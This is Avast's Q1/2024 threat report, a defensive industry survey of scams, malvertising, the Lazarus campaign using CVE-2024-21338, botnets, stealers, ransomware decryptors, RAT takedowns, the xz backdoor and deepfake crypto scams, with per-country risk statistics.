Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Avast Q1/2024 Threat Report

14 May 2024 at 07:00

Nearly 90% of Threats Blocked are Social Engineering, Revealing a Huge Surge of Scams, and Discovery of the Lazarus APT Campaign

Foreword

We’re pleased to present the latest edition of our report for the first quarter of 2024, which has been nothing short of eventful. Here are some highlights.

Not all heroes wear capes. Just a few weeks ago, developer Andres Freund disrupted a covert threat operation that had been running for over two years. The threat actors, who managed to insert a backdoor into the widely used open-source compression library XZ/liblzma, were stopped just in time by Andres. While the identity of the threat actors remains unknown, the potential ramifications of their actions could have been catastrophic – they were almost able to gain access to any Linux machine running an infected distribution. This incident has raised important questions about the security of open-source code and its integration into critical systems and applications.

Social engineering attacks continue to be the largest threat across platforms and continue to increase their share of threats. In the mobile device landscape, more than 90% of all threats blocked in the last quarter originated from scams and similar threat types. This trend is mirrored on desktop platforms, with 87% of threats falling into the same categories. Scams, in particular, have seen a significant surge (61% on mobile and 23% on desktop), fueled by malvertising and the proliferation of malicious push notifications. The risk of falling victim to these attacks has nearly doubled in certain regions, such as Ukraine, highlighting the global reach and impact of these malicious activities. Moreover, scam authors are deploying increasingly sophisticated tactics, including the use of deepfake technology, AI-manipulated audio synchronization, and the hijacking of popular YouTube channels to disseminate fraudulent content, amplifying the potential for financial harm.

Dating scams also continue to surge, particularly in North America and Europe, with Central Europe emerging as a hotspot for such activity. Phishing remains a persistent threat, steadily increasing over the past six quarters. Prevalent phishing campaigns are detailed further in this report.

On the desktop front, we’ve uncovered a sophisticated APT campaign orchestrated by the Lazarus Group, targeting individuals in Asia with deceptive job offers. Furthermore, we discovered and reported to Microsoft an in-the-wild exploit within a Windows driver, subsequently utilized by a sophisticated rootkit in this campaign. Additionally, botnet activity has been a cause for concern – with notable updates observed in the Twizt botnet which now includes brute-forcing capabilities for Server Message Block (SMB) protocol credentials – and the expansion of the malicious DDosia project. Interestingly, the DDosia project faced frequent downtimes due to countermeasures taken by unidentified individuals. Furthermore, we successfully assisted Ukrainian CERT with the remediation of the DirtyMoe botnet.

The prevalence of Malware-as-a-Service (MaaS) stealers, exemplified by DarkGate and Luma, remains a significant threat. These malicious actors capitalize on every opportunity to deploy social engineering tactics to distribute malware.

Ransomware incidents also experienced a slight uptick in Q1/2024, notably marked by the LockBit ransomware making headlines for its initial takedown by law enforcement units, only to resurface shortly after. Furthermore, our researchers identified a new ransomware strain named HomuWitch and promptly responded by developing decryption tools to assist affected individuals. This effort supplements our previous creation, the Rhysida decryption tool, which continues to aid victims of Rhysida in recovering their files.

In the realm of remote access trojans (RATs), law enforcement units have successfully executed operations against notorious threats like the Warzone RAT, resulting in several arrests. This decisive action has already yielded tangible results, as evidenced by our telemetry data.

On the mobile front, we’ve witnessed several intriguing developments, including the resurgence of adware on the PlayStore, the emergence of MoqHao, a banker strain capable of auto-starting on victim devices, and the proliferation of GoldPickaxe, which attempts to steal facial recognition biometrics for fraudulent activities. Additionally, state-sponsored spyware continues to pose a threat to citizens.

Thank you for your continued trust in Avast. Stay safe and secure.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections: Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, with a specific emphasis on web-related threats, and Mobile-related threats, where we describe the attacks focusing on Android and iOS operating systems.

We use the term “risk ratio” in this report to denote the severity of specific threats. This is calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

A blocked attack is defined as a unique combination of the protected user and a blocked threat identifier within the specified time frame.

Featured Story: YouTube – the New Battleground for Phishing, Malvertising, and Cryptoscams 

YouTube, with its 2.5 billion users, has become a trusted and significant target for malvertising. The combination of automated advertising systems and user-generated content provides a gateway for cybercriminals to bypass conventional security measures, making YouTube a potent channel for deploying phishing and malware. Notable threats on the platform include credential stealers like Lumma and Redline, phishing and scam landing pages, and malicious software disguised as legitimate software or updates. Additionally, YouTube serves as a conduit to Traffic Distribution Systems (TDS), directing users to malicious sites and supporting scams ranging from fake giveaways to investment schemes.

Our web scanning endpoints actively block thousands of HTTP requests, daily, that are redirected from YouTube as our users view content. This activity reflects a worrying trend: 

  • 4 millions unique users were protected against threats on YouTube in 2023 
  • Approx 500k unique users per month protected in Q1/2024

The rise of DeepFake videos in YouTube poses significant risks by realistically mimicking people or events, misleading viewers, and spreading disinformation. In Q1 we observed multiple compromised YouTube accounts with more than 50 million subscribers hijacked to spread Cryptoscam Deefake videos (more about this topic is described below in the Scam section). 

Threat actors frequently utilize automated uploads and Search Engine Optimization (SEO) poisoning to enhance the visibility of harmful content. Additionally, fake comments are rampant, deceiving viewers, promoting dangerous links, and exploiting YouTube’s algorithms and user engagement to disseminate cyber threats.

There are numbers of ways in which YouTube can be exploited to disseminate threats. Observed basic Tactics and Procedures (TTP) on YouTube include:

  1. Phishing Campaigns Targeting Creators: Attackers send personalized emails to YouTube creators proposing fraudulent collaboration opportunities. Once trust is established, they send links to malware under the guise of software needed for collaboration, often leading to cookie theft or account compromise. 
  2. Compromised Video Descriptions: Attackers upload videos with descriptions containing malicious links, masquerading as legitimate software downloads related to gaming, productivity tools, or even antivirus programs, tricking users into downloading malware
  3. Channel Hijacking for Spreading Threats: By gaining control of YouTube channels through phishing or malware, attackers repurpose these channels to promote various types of threats, such as cryptocurrency scams, often involving fake giveaways that require an initial deposit from viewers.
  4. Exploitation of Software Brands and Legitimate-Looking Domains: Attackers create websites that mimic reputable companies and offer illegitimate downloadable software, exploiting users’ trust.
  5. Social Engineering via Video Content: Attackers post tutorial videos or offers for cracked software, guiding users to download malware disguised as helpful tools. This tactic takes advantage of users seeking free access to otherwise paid services or software, leveraging YouTube’s search and recommendation algorithms to target potential victims.
Michael Saylor, co-founder of MicroStrategy, in deep fake crypto scam video

David Jursa, Malware Researcher
Luis Corrons, Security Evangelist

Desktop-Related Threats

Advanced Persistent Threats (APTs): Lazarus Group in the Spotlight

An Advanced Persistent Threat (APT) is a type of cyberattack that is conducted by highly skilled and determined hackers who have the resources and expertise to penetrate a target’s network and maintain a long-term presence undetected.

We discovered a Lazarus Group campaign targeting specific individuals in Asia with misleading job offers. The precise intent of the campaign remains unknown, but the selective nature of these attacks indicates a focused interest in individuals possessing technical expertise. We suspect that these technically skilled individuals might have connections to companies involved in the gambling or betting industry, aligning with Lazarus Group’s financial motivations.

We believe the Lazarus Group used fabricated job offers to gain access to the personal computers of these victims who also used these devices for work purposes. It is likely that, a few days after the initial compromise, the attackers realized the victims had access to their company networks. Consequently, Lazarus employed sophisticated rootkit technologies to evade security measures and some security vendors.

This approach reflects the Lazarus Group’s historical tactics of exploiting vulnerable drivers and employing advanced rootkit techniques to disrupt security systems and maintain persistent access.

In this specific instance, Lazarus exploited a vulnerability in the standard Windows driver, appid.sys (CVE-2024-21338), to neutralize security software. Further details on this vulnerability can be found in our related blog post.

The complexity of these attack chains suggests that Lazarus devoted substantial resources to their planning and execution. Before executing the attack, Lazarus carefully prepared by deploying fileless malware and encrypting their tools directly onto the hard drives, as detailed in the blog post and as we recently presented at Black Hat Asia 2024 conference.

Communication of the Lazarus Group’s toolkit with C&C servers

The careful and highly targeted choice of victims suggests that establishing some level of trust or connection was likely necessary before initiating the malware. The deployment of such a sophisticated arsenal, coupled with the exploit, highlights significant strategic foresight and resource commitment.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher

Bots (With a Twist)

Bots are threats mainly interested in securing long-term access to devices with the aim of utilizing their resources, be it remote control, spam distribution, or denial-of-service (DoS) attacks.

To start on a lighter note, the biggest news in the botnet landscape was an unfortunate article in Swiss media outlet Aarguaer Zeitung which claimed a large-scale DDoS attack of millions of toothbrushes running Java. While the thought of a web-connected toothbrush running Java (which were also allegedly DDosing some random Swiss webpage) is really scary, it has been soon rectified as an inaccurate report and there was no such army of Pro-Russian toothbrushes, as the initial report suggested.

Now, unfortunately, onto the more serious note. On the geopolitical side of the threat landscape, Ukrainian state-owned enterprises have been significantly hit with DirtMoe. Due to our extensive research on DirtMoe, CERT-UA reached out to us to assist them with the remediation. Based on the experience from this successful remediation, an advisory on DirtyMoe was published by CERT-UA.

Twizt botnet has received a new module in its update providing functionality that fuels its sextortion campaign. This module relies on the common strategy of extorting the user with fake and sensitive information that was allegedly recovered from their device or account. In the case of the former, the threat actor usually refers to a device infected with RAT, in the case of the latter, the message usually contains a fake sender header and a password to give the impression that the user’s mail account has been hacked. Nevertheless, all the sent information is fabricated, and the password was quite likely taken from one of the leaked password databases that are circulating the dark web.

Sextortion email referencing infected device
Sextortion email containing a password and a reference to RAT

Last year, Twizt started bruteforcing Virtual Network Computing (VNC) credentials. At the beginning of the year, they switched to brute-forcing SMB credentials, instead. Twizt contains a hard-coded list of username/password pairs that are tried against a randomly generated target. Successful authentications are then reported to its command-and-control (C&C) server.

Our usual story on DDosia has a very surprising twist this quarter. Presumably, someone was actively targeting the DDosia C&C infrastructure, repeatedly causing outages in the proxy servers fronting real C&C servers. This resulted in rapid infrastructure changes in this outer layer, with every new proxy C&C having an approximate lifetime of 2 days before being unavailable again. Due to the absence of a client update mechanism in case of C&C outage, this forced the project owners to produce new clients every few days. Later, they started distributing new clients exclusively via private messages, presumably to reduce information exposure.

Breakdown of top-level domains targeted by DDosia
Targets published on DDosia’s Telegram group

The requirement to manually update DDosia’s binary with each update along with frequent C&C outages resulted in a significant decrease in the impact of their attacks. This has prompted a heated backlash on the project’s Telegram channel where “patriotic activists” started complaining that these issues are seriously impacting their cash-flow. 

This was particularly notable around February 19 when eight proxy C&Cs were shut down for five days. Even after this date, they were not able to return to their previous efficacy. The only peak during Q1/2024 is an attack at the end of March when DDosia targeted services associated with the Luxembourg government. While the number of successful targets seems to be rather high, it targeted infrastructure that was hosted on only 3 IP addresses with many subdomains. These turbulent changes were crowned by a move to a different Telegram group called “DDoSia Project” on March 7 with the original group being removed. While, up to that date, the original group was growing, ending with approximately 20,000 members, the new group started up with only around 12,000 members and soon continued in this downward trend.

DDosia Telegram group members

While in the previous quarter DDosia was mostly focusing on banks, during the first quarter of 2024 DDosia focused mostly on various industry consortia, courts, press agencies, CERTs, and transport and logistic companies. The underlying logic stayed mostly the same – finding targets within countries that went against Russian interests.

As for the trends in the whole botnet landscape, many of the prevalent strains have stagnated. Still, we’ve seen several bigger shifts in their prevalence, including increased activity of BetaBot (13%). On the other hand, most of the other strains seem to be in decline with the following strains seeing the biggest drops: Pikabot (-48%), Tofsee (-31%), MyKings (-21%), and Dridex (-21%).

Global risk ratio of bots in Q4/2023 and Q1/2024

Adolf Středa, Malware Researcher

Coinminers Continue to Decline

Coinminers are programs that use a device’s hardware resources to verify cryptocurrency transactions and earn cryptocurrency as compensation. However, in the world of malware, coinminers silently hijack a victim’s computer resources to generate cryptocurrency for an attacker. Regardless of whether a coinminer is legitimate or malware, it’s important to follow our guidelines.

In the previous quarter, we observed a continued decline in the prevalence of coinminers. This downward trend persisted into Q1/2024, where the risk ratio decreased by a substantial 28%. This decrease was influenced by a slight reduction in the coinminer malware share of XMRig, which had surged in the previous quarter. However, nearly all other major coinminers actually increased in activity, thereby expanding their share.

Global risk ratio for coinminers in Q1/2024

After the surge in the USA and Turkey the previous quarter, the situation calmed down a bit and we observed 39% decrease in risk ratio both countries. According to our data, more significant declines happened in India (22%), Egypt (19%), and Pakistan (13%). In total, the biggest risk of getting infected by a coinminers is still in Madagascar (2.18% risk ratio), Turkey (1.47%), Pakistan (1.35%), and Egypt (1.14%).

In the graph below, we can observe a steady decline in coinmining activities.

Daily risk ratio in our user base regarding coinminers in Q1/2024

XMRig, the long-time most popular coinminer, decreased in coinminer malware share by 6% this quarter. Yet, it still holds 60% of the total share. All other major coinminers saw an increase in their activity, including web miners (5% increase), CoinBitMiner (24%), FakeKMSminer (37%), among others. On the other hand, SilentCryptoMiner lost 58% share this quarter.

The most common coinminers with their malware share in Q1/2024 were:

  • XMRig (59.53%)
  • Web miners (20.20%)
  • CoinBitMiner (2.67%)
  • FakeKMSminer (2.03%)
  • NeoScrypt (1.75%)
  • CoinHelper (1.05%)
  • VMiner (0.86%)
  • SilentCryptoMiner (0.84%)

Jan Rubín, Malware Researcher

Information Stealers are Still Dominated by AgentTesla

Information stealers are dedicated to stealing anything of value from the victim’s device. Typically, they focus on stored credentials, cryptocurrencies, browser sessions/cookies, browser passwords and private documents.

AgentTesla, traditionally the most prevalent information stealer we protect our users against, continued to attack users by leveraging email campaigns. One such campaign targeted Czechia, spreading the stealer via malicious attachments.

Email containing AgentTesla in attachments (AvastThreatLabs)

TimbreStealer, targeting almost explicitly users in Mexico, is a newcomer in the information stealers landscape. The malware is quite advanced and multi-modular, containing techniques like Heaven’s gate, among many others. It also introduces many tricks for preventing execution in sandboxes and proper debugging.

Malware-as-a-Service (MaaS) stealers continue to thrive, finding new distribution methods whenever possible. For example, DarkGate was observed to be spread via Microsoft Teams, using phishing. Furthermore, from the more technical perspective, DarkGate was exploiting Microsoft Windows SmartScreen (CVE-2024-21412).

We have also observed a DarkGate campaign distributed via malicious PDF files, abusing crypto exchange and the WebDAV server. The malware delivery was done using an InternetShortcut link (.URL file), downloading the content from an opendir.

PDF leading to DarkGate deployment (AvastThreatLabs)

On the other hand, Lumma Stealer, which is yet another MaaS stealer, continues to spread via cracked software propagated on YouTube, using fake tutorials to mislead victims. This further emphasizes that such strains – and their creators – never miss an opportunity to leverage social engineering to distribute malware.

With regards to macOS, AtomicStealer, also known as AMOS, saw a consistent rise in occurrences on this platform during Q1/2024. This typically obfuscated malware is known for stealing passwords, cryptocurrency wallets, and cookies. It often infiltrates systems via counterfeit applications or through Google Ads poisoning. The existence of multiple generations of this threat suggests that it is likely to persist in the future, which is further underlined by its new version that was carried by a malvertising campaign in the beginning of the year.

In terms of Linux, Python information stealers were the more prevalent strains of this type with well-known malware families like Spidey, Creal, Wasp or PirateStealer. Additionally, in this quarter we uncovered a new malware strain identified as PassSniff/Putin and written in C++ that, instead of stealing the passwords from disk, steals the passwords by sniffing the HTTP traffic using both, generic rules and specific rules targeting popular services and applications.

Statistics

Overall, the global risk ratio decreased by 8% in Q1/2024 for information stealers. However, many popular stealers further increased their reach, including AgentTesla, Stealc, Fareit, and ViperSoftX.

Daily risk ratio in our user base regarding information stealers in Q1/2024

Each of the countries where we observe the risk ratio with regards to information stealers and where we have more significant userbase thankfully experienced a decrease in activity compared to the previous quarter:

  • Turkey (2.29%) with 23% Q/Q decrease
  • Pakistan (2.05%) with 11% Q/Q decrease
  • Egypt (1.78%) with 10% Q/Q decrease

On the other hand, we also measured increases in activity in Mexico and Czechia, following the aforementioned TimbreStealer and AgentTesla campaigns, were the risk ratio increased by 25% and 14%, respectively.

Global risk ratio for information stealers in Q1/2024

AgentTesla, the most prevalent information stealer according to our data, has increased its malware share by 17%. Its campaigns primarily target Central Europe and both North and South America. As a result, it now holds a significant 30.31% of the malware share. Notably, almost every bigger information stealer experienced an increase in activity, including Fareit (34% increase), Stealc (33%), ViperSoftX (28%), and Azorult (14%). FormBook’s share decreased by 32%, as well as Lokibot’s by 50%, balancing the scales of the overall activity of information stealers.

The most common information stealers with their malware shares in Q1/2024 were:

  • AgentTesla (30.31%)
  • Fareit (7.55%)
  • FormBook (6.92%)
  • RedLine (4.37%)
  • Stealc (2.81%)
  • ViperSoftX (2.28%)
  • Azorult (1.93%)
  • ClipBanker (1.72%)
  • Raccoon (1.56%)
  • Lokibot (1.41%)
  • Rhadamanthys (1.36%)

Jan Rubín, Malware Researcher
David Álvarez, Malware Analyst

Ransomware: Fighting it Back

Ransomware is any type of extorting malware. The most common subtype is the one that encrypts documents, photos, videos, databases, and other files on the victim’s PC. Those files become unusable without decrypting them first. To decrypt the files, attackers demand money, “ransom”, hence the term ransomware.

The LockBit Story

In the previous threat report, we discussed new ransomware attacks. One of the top ransomware strains (or gangs, if you wish) is LockBit, which continues its encryption and extortion attacks with an undiminished intensity.

Because of the notoriety of LockBit, their – albeit brief – takedown in Q1/2024 was watched closely by the public.  On February 19, operation Cronos was announced, which was a joint operation between law enforcement agencies in 10 countries. As a part of this operation, the FBI successfully breached the LockBit infrastructure, secured about 1000 private encryption keys and released a public decryptor. The following is the timeline surrounding the initiative:

  • Feb 19: Operation Cronos was unveiled. LockBit leak site was replaced by a landing page from the associated law enforcement agencies:
  • The main panel was replaced with a version augmented by the authorities, outing the criminality of ransomware operators:
  • Feb 20: Two LockBit operators (Poland and Ukraine) were arrested, and a few other individuals were indicted for their involvement in LockBit operations
  • LockBit informed all their affiliates about the breach
  • For four days, there was no information about new victims of the LockBit ransomware
  • Feb 24: A long message from LockBit was published by DarkWebInformer. This message explained what happened and questioned the law enforcement agencies’ success. The author of the message explains that some of his servers were running an outdated version of PHP and hence were vulnerable to CVE-2023-3824.
  • Feb 25: The LockBit leak site was restored, with the FBI now shown as one of the victims. Additionally, the information about leaked data from Fulton County was re-uploaded. Note that the Fulton County Government was allegedly attacked by LockBit on Feb 14 and the leaked data was mentioned in LockBit’s message as the reason that the FBI stopped the operation instead of silently watching the servers and exfiltrating LockBit’s data increasingly, as their criminal activities continued.

A tool for decrypting LockBit-encrypted data using one of 1000 seized encryption keys is. The importance of these encryption keys has been questioned by the LockBit operator himself, saying (quote) “Note that the vast majority of unprotected decryptors are from partners who encrypt brute force dedicas and spam single computers, taking $2000 ransoms” (end quote). Users attacked by LockBit ransomware may use the tool to verify if their data can be decrypted using one of the keys that were seized during the Cronos operation.

Another LockBit-related incident happened at the beginning of 2024, which demonstrates some of the ransomware operators’ modus operandi. After LockBitSupp gained access to an unspecified company, encrypted their data, and received ransom payout, he that provided access to the network.

This little incident shows what ransomware operators do to penetrate a company:

  1. Ransomware operator “buys an access” which means obtaining information about a company, its vulnerabilities and how to breach its network.
  2. Then the operator maps the company network and eventually deploys the ransomware.
  3. When the attacked company pays the ransom, the “access seller” gets paid for the access.

Ransomware Decryptors

As a part of the ongoing battle against ransomware, Avast released two ransomware decryptors: HomuWitch and Rhysida.

HomuWitch

HomuWitch is a ransomware that stayed under the radar since July 2023, because it targets end users with smaller ransom demands (25 – 75 USD). Searching for pirated software is the most common infection vector – instead of the desired software, users may download SmokeLoader backdoor, which later installs malicious dropper for the ransomware payload.

Unlike most ransomware strains that perform file encryption, HomuWitch also adds compression, so the encrypted files are smaller than their originals. When executed, HomuWitch searches local drives and user folders (Pictures, Downloads, Documents). All files of interest (.pdf, .doc, .docx, .ppt, .pptx, .xls, .py, .rar, .zip, .7z, .txt, .mp4, .JPG, .PNG, .HEIC, .csv) are encrypted and renamed to the .homuencrypted extension:

While analyzing this ransomware, we found a vulnerability that allows affected users to recover their files for free. We released free decryptor that is available on our website.

Rhysida

Rhysida is another ransomware strain defeated by the free decryption tool. This ransomware has been active since May 2023 and focuses on the enterprise sector. During summer, we discovered that this ransomware strain is decryptable without having the private RSA key, so we have been helping people who were attacked by the Rhysida ransomware.

In February 2024, Korean researchers also discovered that vulnerability and released their decryption tool publicly. It is always unfortunate to publish detailed information about the details of a vulnerability – we would like to ask fellow malware researchers not to do so and focus more on helping people affected by ransomware attacks.

Now that the details of the vulnerability are public, we also released a free decryption tool that is available both on our website and as part of the NoMoreRansom project.

Statistics

The most prevalent ransomware strains that we block in our userbase are listed below. As opposed to more popular threats like LockBit, Akira or BlackCat, you rarely read about those strains in media because – instead of attacking a large company and demanding millions of USD as ransom – these strains focus on either individual users or small businesses, and they demand ransoms that are in the thousands of dollars range.

  • WannaCry (21% of ransomware share)
  • Enigma (12%)
  • STOP (12%)
  • Mallox (aka TargetCompany) (3%)
  • DarkSide (2%)
  • Cryptonite (1%)

The overall ransomware risk ratio in our user base is showing an increase when compared to the previous quarter. The situation started escalating in March 2024:

The ransomware risk ratio per country is depicted on the following map. We have noticed a significant increase in Bulgaria, Japan, Czechia, and Hungary where the risk ratio more than doubled Q/Q.

Global risk ratio for ransomware in Q1/2024

Ladislav Zezula, Malware Researcher
Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs): The End of Warzone

A Remote Access Trojan (RAT) is a type of malicious software that allows unauthorized individuals to gain remote control over a victim’s computer or device. RATs are typically spread through social engineering techniques, such as phishing emails or infected file downloads. Once installed, RATs grant the attacker complete access to the victim’s device, enabling them to execute various malicious activities, such as spying, data theft, remote surveillance, and even taking control of the victim’s webcam and microphone.

Similarly to Q1/2023 and the Netwire takedown, this year also begins with a takedown action against one of the major players in the RAT scene – the  Warzone RAT was taken down at the beginning of February. According to our data, the effect was immediately visible as a sudden drop in the number of detected attacks by Warzone. Besides this takedown, it was a rather slow start to the year with only a few notable events in the RAT sphere.

Daily risk ratio in our user base regarding RATs in Q4/2023 and Q1/2024

Compared to Q4/2023, the global risk ratio in the first quarter of 2024 is following a downward trend. There are several reasons for this decline. The big players Remcos, njRAT, and AsyncRat seem to have eased off a little and the number of attacks in Q1/2024 was lower than what we typically see. The takedown action against Warzone might have caused some RAT operators to halt or pause their activities. While we see increased activity of less prevalent malware strains, this isn’t enough to compensate the overall attack numbers.

Global risk ratio for RATs in Q1/2024

The top 3 countries and RATs have not changed. We still see the highest risk ratio in Afghanistan, Iraq and Yemen, with HWorm and njRAT as the most active threats there.

The biggest increase in risk ratio was observed in Canada (+69%) due to increased activity of XWorm in February. This led to XWorm increasing its malware share by 378% which makes it the most prevalent RAT in Canada. The second highest share is in New Zealand (+33%) followed by Switzerland (+14%). Remcos was the dominant force in both countries. Despite this rise of risk ratio, Switzerland is still among the safest countries regarding RAT attacks.

The most prevalent remote access trojan strains in our userbase are as follows:

  • HWorm
  • Remcos
  • njRAT
  • AsyncRat
  • QuasarRAT
  • Warzone
  • FlawedAmmyy
  • XWorm
  • NanoCore
  • DarkComet

Although the overall number of detected attacks by Remcos slightly dropped, it is still very active. We recently warned about a campaign targeting most of Eastern Europe; this campaign was created in the Russian language and used a common lure “Invoice payment confirmation”.

We already mentioned XWorm in relation to Canada, however it also managed to increase its presence in most parts of the world. We also see XWorm frequently releasing new versions.

On February 7, an international operation targeted the Warzone RAT resulting in the seizure of four domains, including the primary site “warzone.ws”, and server infrastructure. One suspect was arrested in Malta and another in Nigeria. The FBI led the operation with assistance from Europol, the U.S. Department of Justice, and local law enforcement agencies. The suspects are accused of selling and advertising the RAT, providing support, and unauthorized damage to protected computers.

Domain warzone.ws taken down by the authorities

FortiGuard Labs also uncovered a phishing campaign spreading a new RAT, VCURMS. The campaign uses a downloader with payloads stored on public services like AWS and GitHub. There are two known payloads – the new VCURMS and STRRAT. STRRAT is also a remote access trojan which appeared in 2020. The interesting part of VCURMS is its unusual command and control channel. It communicates using emails with a Proton Mail address. Like STRRAT, VCURMS is also coded in Java. Another notable feature is its infostealer module which looks similar to RudeStealer.

Phylum and Sonatype discovered another supply chain attack in Q1/2024. Both teams found malicious packages in PyPI. These packages deploy a RAT that can also steal information from infected machines. Phylum named this threat “poweRAT”, because it relies on PowerShell in the early stages. Both reports mention the following packages as affected: pyrologin, easytimestamp, discorder, discord-dev, style.py and pythonstyles. Sonatype followed up on this story, adding several more packages to the list and showing how this threat has evolved. Communication with the C&C server happens via a Cloudflare Tunnel created from the infected machine, which means the malware does not need to modify any firewall settings. The features of RAT and information-stealing components are common on their own – however, when they combine, they create quite  a dangerous threat. Phylum refers to it as a “RAT on steroids” and Sonatype as “RAT mutant”.

Ondřej Mokoš, Malware Researcher

Vulnerabilities and Exploits: An Actively Exploited Admin-to-Kernel Zero-Day

Exploits take advantage of flaws in legitimate software to perform actions that should not be allowed. They are typically categorized into remote code execution (RCE) exploits, which allow attackers to infect another machine, and local privilege escalation (LPE) exploits, which allow attackers to take more control of a partially infected machine.

In the February Patch Tuesday update, Microsoft patched CVE-2024-21338, a zero-day admin-to-kernel vulnerability discovered by Avast researchers. This zero-day was initially exploited in the wild by the Lazarus Group, who used it to enable an updated version of their FudModule data-only rootkit. This marked a significant improvement in capabilities, as previous versions of the FudModule rootkit were enabled by targeting known vulnerable drivers for BYOVD (Bring Your Own Vulnerable Driver) attacks. 

Upgrading from BYOVD techniques to a zero-day in a built-in driver made the entire attack significantly stealthier, however, this wasn’t the only upgrade. Lazarus also revamped the rootkit functionality, targeting registry callbacks, object callbacks, process/thread/image callbacks, file system minifilters, Windows Filtering Platform, Event Tracing for Windows, and image verification callbacks. Additionally, the threat actors implemented a noteworthy handle table entry manipulation technique, attempting to suspend critical processes associated with Microsoft Defender, CrowdStrike Falcon, and HitmanPro. For a deeper understanding of this attack, we recommend reading our two technical blog posts or watching our Black Hat Asia 2024 talk.

The decompiled “main” function of the FudModule rootkit, executing the exploit and all the individual rootkit techniques.

In other news, the open-source world was shocked by the discovery of a backdoor in the xz/liblzma compression library. This backdoor was discovered by software engineer Andres Freund, who noticed that failing ssh logins were consuming suspicious amounts of CPU, and did the world a huge favor by deciding to investigate the root cause. The attacker(s) went by the name Jia Tan (their exact affiliation/motivation remain unclear) and demonstrated a remarkable level of patience, slowly building up trust by contributing to the open-source project for over two years. Eventually, they decided to strike and – over a number of commits – introduced the backdoor, the ultimate goal of which was to allow remote SSH logins to those with the possession of the right private key (CVE-2024-3094). 

Fortunately, the backdoor was discovered relatively early, so the attackers didn’t have enough time to get the malicious code merged into major Linux distributions like Debian or Red Hat. This was a close call, however, which should be very alarming, as this could have easily been one of the biggest security incidents that we have seen in recent years. While open-source code is often regarded as more trustworthy than its closed-source counterpart, this attack demonstrates that it comes with its own challenges. Many critical open-source projects are maintained with little funding by overworked volunteers, which might unfortunately make them vulnerable to similar attacks.

Another interesting discovery was related to hyperlinks in Outlook. While Outlook would, under usual circumstances, not follow “file://” protocol links to remote resources, Haifei Li of Check Point Research discovered that just adding an extra exclamation mark (“!”) followed by some arbitrary characters might change this behavior completely. This vulnerability was assigned CVE-2024-21413 and dubbed MonikerLink, as the exclamation mark essentially turns the link into a composite moniker. When a user received an email and clicked on such a link, the remote file would be fetched and possibly parsed in the background. 

Interestingly, the impact of this is twofold. First, following the link to load a resource from a remote SMB server represents yet another way to force NTLM authentication, allowing the remote server to capture NTLMv2 hashes. Second, an attacker might use this to trigger some vulnerable code, as the fetched resource might be opened in the background, attempting to look up the item moniker (the string appended after the exclamation mark). For instance, the Check Point blog demonstrated this on an RTF file, which would get opened in Microsoft Word outside protected view, representing a very sneaky 1-click vector to deliver an RTF exploit.

Jan Vojtěšek, Malware Researcher

Web Threats

The significance of web threats can be well seen not only in the numerical  statistics but also in the creativity of the scammers themselves. We see scammers trying to take advantage of different trends in different groups. These cybercriminals are using the latest technology in the field of AI, or they are not afraid to invest in their fraudulent practices to improve the sophistication of their scams through other methods. 

Last quarter, we reported that scams, together with phishing and malvertising, accounted for more than 75% of all threats blocked by Avast throughout the year. This quarter we have blocked  over 80% for the same type of threats. This indicates a rather interesting – and very scam-ridden – start to the year.

Scams Everywhere, Including Video

A scam is a type of threat that aims to trick users into giving an attacker their personal information or money. We track diverse types of scams which are listed below.

In our Q4/2023 report, we pointed out that scam activity is increasing significantly. At that time, we saw that one of the main reasons was the high rate of malvertising campaigns. This trend has continued in Q1/2024, with the activity level from the previous peak. 

Daily risk ratio of scam in Q4/2023 and Q1/2024

Our data again shows that sites offer deals and then sending push-notifications are contributing significantly to this trend. With this in mind, we again urge everyone to always consider from which website you want to allow to send you notifications. Also remember that scammers try to disguise these offers of sending notifications as, for example, video players or as adult confirmations.

If you, unfortunately, allow access to malicious notifications, you may encounter the situation shown below. 

Example of scam push-notifications

The increasing use of malvertising and push-notifications by scammers only confirms our predictions for 2024, when we repeatedly warned that this is a global threat with huge risk potential, especially on mobile phones.

If we look at activity in specific countries, we see that Ukraine exhibited the most significant surge in risk ratio, with a concerning 97% increase (the overall risk ratio for first quarter is set at 16.51%). 

Example of scam targeting Ukraine users

Similarly, Kazakhstan and Uzbekistan displayed significant jumps in their risk ratios, +89% and +56% respectively, marking these countries as emerging hotspots for scam-related threats with overall risk ratios of 14.24% and 12.45%.

If we look further, we see interesting data for India, which also saw an increase in scam threats The current risk ratio for India is 17.26% with a quarter-over-quarter risk ratio increase of +24%.

We identified the highest scam risk ratio Georgia and Serbia in Q1/2024, with more than 30% risk ratio. In the absolute numbers, the majority of scam-targeted users were in France, Brazil, and the US.

Scam Delivery via Video

In Q1/2024 we continued to witness scam authors heavily using videos as lures in their scams. Whether video made from stock footage or an elaborate deep fake video, scammers are using all video varieties in their threats. One of the most widespread techniques involved exploiting famous individuals and significant media events to attract large audiences. As a result, scammers have devised enticing schemes that capitalize on the familiarity of well-known personalities and important world events.

An increasingly common feature of these campaigns is the use of deep fake videos, created by hijacking official videos from events and using AI to manipulate audio synchronization. These videos seamlessly blend altered audio with existing visuals, making it harder for the untrained eye to tell they’re anything but authentic. Moreover, scammers insert QR codes, leading to well-designed web pages, that promise exclusive opportunities, luring victims into further engagement.

Deep fake videos abusing official videos

Cryptocurrency scams of this type are particularly increasing. Once an individual moves from the video lure to the fraudulent website, they are presented with different scenarios for obtaining “beneficial” cryptocurrencies. Victims are fooled into believing that participating in these schemes will bring considerable profits. The scammers consistently promise victims the same profit margin, and victims receive the impression that – by sending any amount of cryptocurrency to specific wallets – they will receive double the amount in return. The websites even implement fake online wallet monitoring, imitating legitimate transaction activity. Additionally, these deceptive sites typically include images of well-known personalities and logos associated with  authentic  cryptocurrency-related companies, adding an air of legitimacy.

Fraudulent websites of the scammer group

In Q1/2024, we observed several other incidents of abuse against famous individuals like Michael J. Saylor, Vitalik Buterin, Brad Garlinghouse, and Larry Fink.

Fake Larry Fink, CEO BlackRock

